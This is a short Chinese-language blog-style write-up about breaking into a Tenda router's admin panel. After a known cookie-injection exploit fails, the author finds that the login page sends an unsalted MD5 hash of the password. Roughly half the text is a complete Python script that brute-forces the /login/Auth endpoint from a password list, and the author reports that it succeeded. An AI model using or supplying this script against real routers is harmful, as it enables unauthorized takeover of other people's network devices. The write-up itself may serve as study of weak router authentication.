已有漏洞嘗試
- 先嘗試烏雲上 Tenda 的 cookie 注入漏洞,這個網上滿天飛,基本沒報什么希望,果然沒用
暴力破解
- 登錄頁嘗試登錄並抓包,發現請求
http://192.168.0.1/login/Auth
,FORM 表單參數 username
和 password
,如下,響應只有一個 1

21232f297a57a5a743894a0e4a801fc3
明顯的 MD5 HASH,拿去彩虹表,自己測試的密碼用的是 admin
,比對一致,確定密碼前台加密方式是 MD5
- 請求方式以及參數還有錯誤響應都知道了,寫腳本暴力破解即可
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
r""" POST 請求暴力破解管理員密碼 """
import hashlib
import requests
def md5(source):
r""" MD5 計算並返回 16 進制的字符串 """
method = hashlib.md5()
method.update(source.encode("UTF-8"))
return method.hexdigest()
def yield_password():
r""" 讀取常用密碼文件 """
with open("./password.txt", "r") as file:
for line in file.readlines():
yield line.strip()
if __name__ == '__main__':
url = "http://192.168.0.1/login/Auth"
param = {"username": "admin", "password": ""}
failed_resp = b'1'
count = 0
for password in yield_password():
param["password"] = md5(password)
resp = requests.post(url, param)
if failed_resp != resp.content:
print("Success hack: %s" % password)
break
else:
count += 1
print("Count: %s, password: %s" % (count, password))
- 下面就是看運氣了,不過還好,爆破成功

后續
- 爆破成功后登錄后台管理界面,查看現在的登錄管理方式,改成 password 這個 cookie 了,值是密碼的 MD5 HASH,真的安全嗎?